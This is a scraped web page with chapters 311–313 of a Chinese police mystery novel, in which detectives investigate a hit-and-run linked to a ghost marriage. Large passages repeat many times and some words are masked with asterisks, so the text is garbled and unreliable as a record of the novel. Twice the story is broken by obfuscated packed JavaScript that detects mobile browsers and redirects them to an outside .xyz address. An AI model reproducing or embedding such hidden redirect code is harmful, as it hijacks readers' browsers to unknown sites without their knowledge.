活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944383|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 第311章 **不能背叛 能够如此虐到自己的女儿,非打即骂让左邻右舍都知道,还能骂出如此难听的话,可不像是个能受得了损失,受得了气的性格。 这样张扬性格的人,吃了亏不讨回公道,只能是心里有鬼了。 这事情,越加的扑朔迷离起来了。 楚隽回了警局,开会。 既然向浩然父亲已经报警了,这案子就该拿出来大家讨论一下。 报案的时候,向浩然父亲已经将事情原委跟江笑愚说了一遍,不过他说的还没有楚隽清楚。 众人在会议室里坐下。 先由楚隽跟大家说了一下前因,包括三年前向浩然车祸,选择私了,冥婚,给焦家钱,送焦雨花哥哥去留学,种种。 今天打听来的事情,就由安暖来说,是她做的记录,说起来比较清楚。 都说完,楚隽还补充了一个信息,就是向浩然的订婚。虽然暂时没有证据显示订婚和此次事件有关,但都属于近期出现的,有些违背常理的事件。没有发现关联,不代表没有关联。 也许只是他们没有发现,说出来,大家集思广益,说不定旁人就能发现。 警局从来不鼓励个人英雄主义,每一分成功,都是大家的。 说完之后,楚隽道:“现在情况就是这样,暂时还没有联系上焦家的人,不过他们暂时也没有嫌疑,应该不是对向浩然动手的人。” 江笑愚道:“如果是这样,那么有没有可能,之前在焦家做手脚的人,和凶手是同一个人呢?焦家和向浩然,在焦雨花这件事情上,有同一个身份。” 就是对焦雨花不好的人。 对这个人来说,焦雨花的父兄,和向浩然,都是坏人。 不过是坏的程度不同罢了。 焦雨花的父兄现在是不在国内,要是在的话,未必不是凶手的目标。 或者说,如果找不到这个人,等他们回来,也要倒霉。 “很有这个可能。”楚隽说:“焦雨花去世的时候,只有十三岁。鉴于这个年龄,我们暂时不考虑凶手和她是男女关系,因为感**人。这个人既然是为了她,那和她一定熟悉。还是进一步去查焦家的人际关系,包括亲戚关系。” 这人能布置这么周密的杀向浩然,总不能是个小孩子,一定是个大人。 一个同情焦雨花的大人。 而且,这三年有不在的可能,或者,虽然在,但是有不方便行动的可能。 楚隽一直在用笔戳着笔记本。 总觉得有什么遗漏。 卢瑞泽在一旁看着安暖戳笔记本把纸上戳的一个洞一个洞的特别想要把那些洞洞都填上。 强迫症差一点都犯了。 楚隽道:“安暖你还有什么想说的。” “嗯……”安暖停下戳纸的动作:“总觉得这件事情还是跟向浩然订婚脱不了关系。” 怎么就那么巧呢? 上一刻订婚下一刻对方就决定动手**。 两件事情连的那么紧说完全没关系说不过去的。 但关系是什么? 安暖突然站了起来。 “我知道。” “说。” 安暖拍了下桌子。 “向浩然背叛了。” 卢瑞泽先道:“什么意思?” “意思就是向浩然已经和焦雨花结婚了虽然没有领结婚证其实从某种意义上说向浩然已婚他是焦雨花的丈夫对不对。” 这倒是对的虽然国家不承认可是民间承认。 安暖道:“我们假设这个人就在村子里就在焦家人身边。两年前他对焦家动手可做的不过是什么杀鸡杀猪杀狗之类的行为 这个人也讨厌焦家的人可对他们所做的事情不过是捣乱。 也许后面还有别的捣乱的事情。 但是因为焦家的人心虚不敢说更不敢报复所以即便发生了只要不是轰轰烈烈的说不定他们家就打落牙齿吞进肚了别人根本不知道。 到了向浩然这里可就不是恶作剧了是明晃晃的要命。 “对方之所以开始没对向浩然动手因为向浩然是焦雨花的丈夫。看在雨花的面子上也要给向浩然一条活路。” “但现在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951743|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同了向浩然和别人订婚了。这种背叛对方不能接受。于是就在他订婚那晚动手了。” 安暖突然感觉到一阵恶寒。 之前向浩然还要死要活的追求过自己呢。 虽然她没有答应可对方是个能制造车祸**的人这种人和正常人是不一样的不能用正常人的思想去揣摩。 万一他觉得向浩然的追求对象是焦雨花的情敌呢? 万一他要帮焦雨花铲除情敌呢?这可不好说啊。 安暖隐约觉得自己捡回一条命。 可这念头一起更恐怖的念头就来了。 安暖道:“楚队赶紧联系向浩然的未婚妻凶手很有可能会 对她下手。” 现在大家都认为郎若璃肚子里的孩子是向浩然的,凶手怎么能忍受这一点?先杀了向浩然,再弄死郎若璃肚子里的孩子,这才痛快。 楚隽的脸色也变了。 之前他是查了郎若璃,那是把郎若璃当做嫌疑人,可是没有出郎若璃和这件事情有任何关系,所以就先把她撇出去了,暂时没有嫌疑。 被安暖这么一说,郎若璃不是有嫌疑,是有危险。 因为向浩然,她可能是凶手的下一个目标。 真的很有道理。 这个目标不会是向浩然的父母。 父母是老去的一辈了,虽然要是出了事,一样叫人伤心。但无论怎么样,也不会有新生儿被害更伤心。 楚隽立刻道:“会议暂停,我去打个电话。” 他有郎若璃家里的电话,现在要立刻联系她,让她这段时间提高警惕,注意安全。 不管她和向浩然是什么纠结的爱恨情仇,有没有给向浩然挖坑,她的命和肚子里孩子的命,都是警方需要保护的。 楚隽去打电话了,会议室里,进入自由讨论时间。 江笑愚也想到了刚才安暖忧虑的。 “小安,我记得当初向浩然还追过你呢,好险。被凶手盯上,那是非常危险的。” 安暖一边侥幸点头,一边心里怪怪的。 总觉得有点不安。 第312章 下一个是谁 这种不安很奇怪。 明明是不该有的,可却偏偏出现了。 按道理说,向浩然这种万花丛中过的人,一年要换好几个女朋友,风流债一大堆。不追一年也追好几个。 她,只是其中一个。 就算凶手看不惯向浩然其他的感情纠葛,要找麻烦,也不应该找她。 要是找她,早就找了,也不会等到现在还找。 可莫名的,安暖还是觉得有点不安。 她在椅子上挪了一下位置,又挪了一下位置,有点坐立不安。 江笑愚看出她的不安。 “你别怕。”江笑愚说:“凶手不应该来找你,再说,你一直跟着楚队,凶手再怎么样,也不是楚队的对手。” 有刑警队长贴身保护,什么牛鬼蛇神也不能靠近。 正好,还能跟楚隽一个英雄救美的机会。 安暖心事重重地点了点头。 道理是这个道理,我都懂。但感觉还是不太好。 定了定神,安暖说:“这个人的时间把握得很精准,向浩然下午订婚,晚上就出了车祸。这个人的动作太快了,这计划还挺复杂,不像是立刻就能想出来的样子。我觉得这个凶手,有两种可能。” “要么是预谋已久,他早就看过现场,做了巨大的画面,还有唱歌的人,一直想对向浩然动手,万事俱备,就在等这一天。所以才能动手的如此之快,一点儿时间都没有浪费。” “要么,他提前知道了向浩然要结婚。自然就很容易推测向浩然订婚当天会喝酒,然后一直等在他家楼下。” “当然,后者也需要提前准备,不过两种提前,不是一个概念罢了。” 江笑愚说:“第二种。” “为什么?” “要是第一种,等不到今天。”江笑愚说:“向浩然日常行为,我也了解了一些。那可真是丰富精彩,虽然没有结婚,但如果我是一个焦雨花有特殊情感的人,要守护她的婚姻,那我早就把他弄**。” 安暖叹了口气。 是这么回事。 但凡是对感情方面有一点标准,都要把向浩然弄死。 这也是他们很奇怪为什么郎若璃会选中向浩然的原因,除非是意外,要是蓄意,京市有那么多条件好的公子哥,郎若璃好好的一个大小姐,选谁不行,要选他。 就算是有了别人的孩子要找个接盘的吧,只要条件稍微放低一点点,也比选择向浩然好。 当然对向浩然也是一样。 他最好的选择不是选一个门当户对的千金小姐,而是往下选。 选一个家世条件都不如他的,这样,才能让对方不介意他的风流倜傥。 两个人在一起,条件是要对等的。 这种对等,并非单指门当户对,家里一样有钱有权。 而是各种优点缺点一起衡量的对等。 向浩然的家世是个优点,可是风流是个缺点。同样家世的小姐,没有必要委屈自己选择他。 只有差一点的,才会因为物质方面的补偿,而接受人品上的问题。 向浩然和郎若璃结婚,以后两个人的日子都不会好过,有的吵的一地鸡毛的时候。 江笑愚道:“第二种,这个人就在向浩然身边,或者,他有渠道提前知道了向浩然要和郎若璃订婚。对了,楚队和向浩然是很好的朋友,他们订婚的消息,你们是提前多久知道的?” “说来惭愧。”安暖说:“没提前多久,我是前一天才知道的,楚队也早不了多久。因为他们这个订婚宴举办的很仓促,举办之前,向浩然一直被家里关着,电话线也拔了,所以他那些兄弟朋友,没有一个提前知道的。” 对两家家长来说,可能多少也觉得有点丢人,要不是实在不好隐瞒,说不定想直接关上门家里吃顿饭就算了。 “那这么说,这件事情挺保密的,知情者范围很小。只有两边家长身边的人,还有,酒店的人。” 向浩然举办的订婚宴档次挺高的,在本市的一家高档餐厅,绿荷酒店。 花钱就不提了,这种酒店的宴会厅一般都是需要提前预定的,要是好日子,提前半年一年预定都是很正常的事情。 向浩然这次订婚的日子不是什么抢手的日子,但也没有今天要,明天就出来的道理。 订婚宴门口有照片,里面布置了鲜花,各种安排,都需要提前安排。 至少,也要十天半个月吧。 江笑愚道:“可以查一下酒店,酒店里负责这个宴会厅的工人人员,以及和婚宴相关的工作人员,比你们更早知道向浩然要订婚的消息。” 对这个年代的人来说,订婚等同于结婚。 安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 这件没有大肆宣扬的事情,提前知道的人不会太多,但掰着手指头算一算,也不会太少,排查起来,也不是一件容易的事情。 安暖紧跟着楚隽,去找向浩然的父亲。 向爸爸这几天老了好几岁。 好容易向浩然醒了,松了一口气,觉得今天晚上,可以睡一个安稳觉了。 他最好的选择不是选一个门当户对的千金小姐,而是往下选。 选一个家世条件都不如他的,这样,才能让对方不介意他的风流倜傥。 两个人在一起,条件是要对等的。 这种对等,并非单指门当户对,家里一样有钱有权。 而是各种优点缺点一起衡量的对等。 向浩然的家世是个优点,可是风流是个缺点。同样家世的小姐,没有必要委屈自己选择他。 只有差一点的,才会因为物质方面的补偿,而接受人品上的问题。 向浩然和郎若璃结婚,以后两个人的日子都不会好过,有的吵的一地鸡毛的时候。 江笑愚道:“第二种,这个人就在向浩然身边,或者,他有渠道提前知道了向浩然要和郎若璃订婚。对了,楚队和向浩然是很好的朋友,他们订婚的消息,你们是提前多久知道的?” “说来惭愧。”安暖说:“没提前多久,我是前一天才知道的,楚队也早不了多久。因为他们这个订婚宴举办的很仓促,举办之前,向浩然一直被家里关着,电话线也拔了,所以他那些兄弟朋友,没有一个提前知道的。” 对两家家长来说,可能多少也觉得有点丢人,要不是实在不好隐瞒,说不定想直接关上门家里吃顿饭就算了。 “那这么说,这件事情挺保密的,知情者范围很小。只有两边家长身边的人,还有,酒店的人。” 向浩然举办的订婚宴档次挺高的,在本市的一家高档餐厅,绿荷酒店。 花钱就不提了,这种酒店的宴会厅一般都是需要提前预定的,要是好日子,提前半年一年预定都是很正常的事情。 向浩然这次订婚的日子不是什么抢手的日子,但也没有今天要,明天就出来的道理。 订婚宴门口有照片,里面布置了鲜花,各种安排,都需要提前安排。 至少,也要十天半个月吧。 江笑愚道:“可以查一下酒店,酒店里负责这个宴会厅的工人人员,以及和婚宴相关的工作人员,比你们更早知道向浩然要订婚的消息。” 对这个年代的人来说,订婚等同于结婚。 安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 这件没有大肆宣扬的事情,提前知道的人不会太多,但掰着手指头算一算,也不会太少,排查起来,也不是一件容易的事情。 安暖紧跟着楚隽,去找向浩然的父亲。 向爸爸这几天老了好几岁。 好容易向浩然醒了,松了一口气,觉得今天晚上,可以睡一个安稳觉了。 他最好的选择不是选一个门当户对的千金小姐,而是往下选。 选一个家世条件都不如他的,这样,才能让对方不介意他的风流倜傥。 两个人在一起,条件是要对等的。 这种对等,并非单指门当户对,家里一样有钱有权。 而是各种优点缺点一起衡量的对等。 向浩然的家世是个优点,可是风流是个缺点。同样家世的小姐,没有必要委屈自己选择他。 只有差一点的,才会因为物质方面的补偿,而接受人品上的问题。 向浩然和郎若璃结婚,以后两个人的日子都不会好过,有的吵的一地鸡毛的时候。 江笑愚道:“第二种,这个人就在向浩然身边,或者,他有渠道提前知道了向浩然要和郎若璃订婚。对了,楚队和向浩然是很好的朋友,他们订婚的消息,你们是提前多久知道的?” “说来惭愧。”安暖说:“没提前多久,我是前一天才知道的,楚队也早不了多久。因为他们这个订婚宴举办的很仓促,举办之前,向浩然一直被家里关着,电话线也拔了,所以他那些兄弟朋友,没有一个提前知道的。” 对两家家长来说,可能多少也觉得有点丢人,要不是实在不好隐瞒,说不定想直接关上门家里吃顿饭就算了。 “那这么说,这件事情挺保密的,知情者范围很小。只有两边家长身边的人,还有,酒店的人。” 向浩然举办的订婚宴档次挺高的,在本市的一家高档餐厅,绿荷酒店。 花钱就不提了,这种酒店的宴会厅一般都是需要提前预定的,要是好日子,提前半年一年预定都是很正常的事情。 向浩然这次订婚的日子不是什么抢手的日子,但也没有今天要,明天就出来的道理。 订婚宴门口有照片,里面布置了鲜花,各种安排,都需要提前安排。 至少,也要十天半个月吧。 江笑愚道:“可以查一下酒店,酒店里负责这个宴会厅的工人人员,以及和婚宴相关的工作人员,比你们更早知道向浩然要订婚的消息。” 对这个年代的人来说,订婚等同于结婚。 安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 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安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 这件没有大肆宣扬的事情,提前知道的人不会太多,但掰着手指头算一算,也不会太少,排查起来,也不是一件容易的事情。 安暖紧跟着楚隽,去找向浩然的父亲。 向爸爸这几天老了好几岁。 好容易向浩然醒了,松了一口气,觉得今天晚上,可以睡一个安稳觉了。 他最好的选择不是选一个门当户对的千金小姐,而是往下选。 选一个家世条件都不如他的,这样,才能让对方不介意他的风流倜傥。 两个人在一起,条件是要对等的。 这种对等,并非单指门当户对,家里一样有钱有权。 而是各种优点缺点一起衡量的对等。 向浩然的家世是个优点,可是风流是个缺点。同样家世的小姐,没有必要委屈自己选择他。 只有差一点的,才会因为物质方面的补偿,而接受人品上的问题。 向浩然和郎若璃结婚,以后两个人的日子都不会好过,有的吵的一地鸡毛的时候。 江笑愚道:“第二种,这个人就在向浩然身边,或者,他有渠道提前知道了向浩然要和郎若璃订婚。对了,楚队和向浩然是很好的朋友,他们订婚的消息,你们是提前多久知道的?” “说来惭愧。”安暖说:“没提前多久,我是前一天才知道的,楚队也早不了多久。因为他们这个订婚宴举办的很仓促,举办之前,向浩然一直被家里关着,电话线也拔了,所以他那些兄弟朋友,没有一个提前知道的。” 对两家家长来说,可能多少也觉得有点丢人,要不是实在不好隐瞒,说不定想直接关上门家里吃顿饭就算了。 “那这么说,这件事情挺保密的,知情者范围很小。只有两边家长身边的人,还有,酒店的人。” 向浩然举办的订婚宴档次挺高的,在本市的一家高档餐厅,绿荷酒店。 花钱就不提了,这种酒店的宴会厅一般都是需要提前预定的,要是好日子,提前半年一年预定都是很正常的事情。 向浩然这次订婚的日子不是什么抢手的日子,但也没有今天要,明天就出来的道理。 订婚宴门口有照片,里面布置了鲜花,各种安排,都需要提前安排。 至少,也要十天半个月吧。 江笑愚道:“可以查一下酒店,酒店里负责这个宴会厅的工人人员,以及和婚宴相关的工作人员,比你们更早知道向浩然要订婚的消息。” 对这个年代的人来说,订婚等同于结婚。 安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 这件没有大肆宣扬的事情,提前知道的人不会太多,但掰着手指头算一算,也不会太少,排查起来,也不是一件容易的事情。 安暖紧跟着楚隽,去找向浩然的父亲。 向爸爸这几天老了好几岁。 好容易向浩然醒了,松了一口气,觉得今天晚上,可以睡一个安稳觉了。 他最好的选择不是选一个门当户对的千金小姐,而是往下选。 选一个家世条件都不如他的,这样,才能让对方不介意他的风流倜傥。 两个人在一起,条件是要对等的。 这种对等,并非单指门当户对,家里一样有钱有权。 而是各种优点缺点一起衡量的对等。 向浩然的家世是个优点,可是风流是个缺点。同样家世的小姐,没有必要委屈自己选择他。 只有差一点的,才会因为物质方面的补偿,而接受人品上的问题。 向浩然和郎若璃结婚,以后两个人的日子都不会好过,有的吵的一地鸡毛的时候。 江笑愚道:“第二种,这个人就在向浩然身边,或者,他有渠道提前知道了向浩然要和郎若璃订婚。对了,楚队和向浩然是很好的朋友,他们订婚的消息,你们是提前多久知道的?” “说来惭愧。”安暖说:“没提前多久,我是前一天才知道的,楚队也早不了多久。因为他们这个订婚宴举办的很仓促,举办之前,向浩然一直被家里关着,电话线也拔了,所以他那些兄弟朋友,没有一个提前知道的。” 对两家家长来说,可能多少也觉得有点丢人,要不是实在不好隐瞒,说不定想直接关上门家里吃顿饭就算了。 “那这么说,这件事情挺保密的,知情者范围很小。只有两边家长身边的人,还有,酒店的人。” 向浩然举办的订婚宴档次挺高的,在本市的一家高档餐厅,绿荷酒店。 花钱就不提了,这种酒店的宴会厅一般都是需要提前预定的,要是好日子,提前半年一年预定都是很正常的事情。 向浩然这次订婚的日子不是什么抢手的日子,但也没有今天要,明天就出来的道理。 订婚宴门口有照片,里面布置了鲜花,各种安排,都需要提前安排。 至少,也要十天半个月吧。 江笑愚道:“可以查一下酒店,酒店里负责这个宴会厅的工人人员,以及和婚宴相关的工作人员,比你们更早知道向浩然要订婚的消息。” 对这个年代的人来说,订婚等同于结婚。 安暖和楚隽也是,娃娃亲,相当于你们肯定是要结婚的,只是暂时还没有领结婚证罢了。 民间都已经认可了,只是国家暂时还没有个你们发证件。 过了一会儿,楚隽打完电话回来了。 江笑愚将刚才他和安暖两人讨论的各种情况,都说了一遍。 楚隽也觉得很有可能。 他严肃对安暖说:“这段时间跟着我,不要单独行动,不要一个人出门,直到凶手被抓到为止。” 安暖连连点头。 这还要你说,我作为刑警队唯一不能打的人,特别自觉,特别惜命。就是你不说,这段时间我也不会离开你一步的。 楚隽道:“江笑愚去酒店,我去找向浩然的父亲,让他提供所有知道此事的人的名单。” 这个凶手,很可能就在其中。 时间虽然不早了,但凶手一日不找到,就多一分危险。 众人又商议了一下,分头行动。 女方家属也要调查。 郎若璃的父母,小姐妹,甚至郎若璃的小姐妹可能要比向浩然的兄弟更早知道此事。 这件没有大肆宣扬的事情,提前知道的人不会太多,但掰着手指头算一算,也不会太少,排查起来,也不是一件容易的事情。 安暖紧跟着楚隽,去找向浩然的父亲。 向爸爸这几天老了好几岁。 好容易向浩然醒了,松了一口气,觉得今天晚上,可以睡一个安稳觉了。 第313章 空调 谁知道楚隽带着安暖又找来了。 楚隽直接找上了家门。 两人在客厅里坐下,佣人上去通报。 向爸爸赶紧就下来了。 楚隽说:“有些事情要问一下,去书房说吧。” 向家有好几个阿姨司机什么的,在现在这个阶段,谁都不能洗脱嫌疑。稳妥起见,不能让其他人听到。 向爸爸立刻就明白了,带着两人进了书房。 书房的门关上,隔绝了外面一切。 向爸爸说:“楚队,你想说什么,尽管说。” 楚隽就简单地将现在的情况说了一遍。 重点是,他们怀疑凶手就在身边。 向爸爸一听,只觉得毛骨悚然。 他是做生意的,和楚隽这样的刑警是不一样的。想着儿子刚刚经历过九死一生,真的是阎王殿里转了一圈,好容易才捡回一条命。 要是凶手隐藏在身边,那多可怕啊,岂不是随时随地,又能要了他的命。 “这事情就难办了。”向爸爸犯了愁:“虽然订婚宴这事情,因为中间种种,我觉得也不是很光彩,所以不想声张,可这毕竟是个订婚宴。我们家有那么多亲戚朋友,郎家也有那么多亲戚朋友,即便是走个过场,规模也不能小。所以知道的人,是没办法少的。” 他家的,他还能知道。 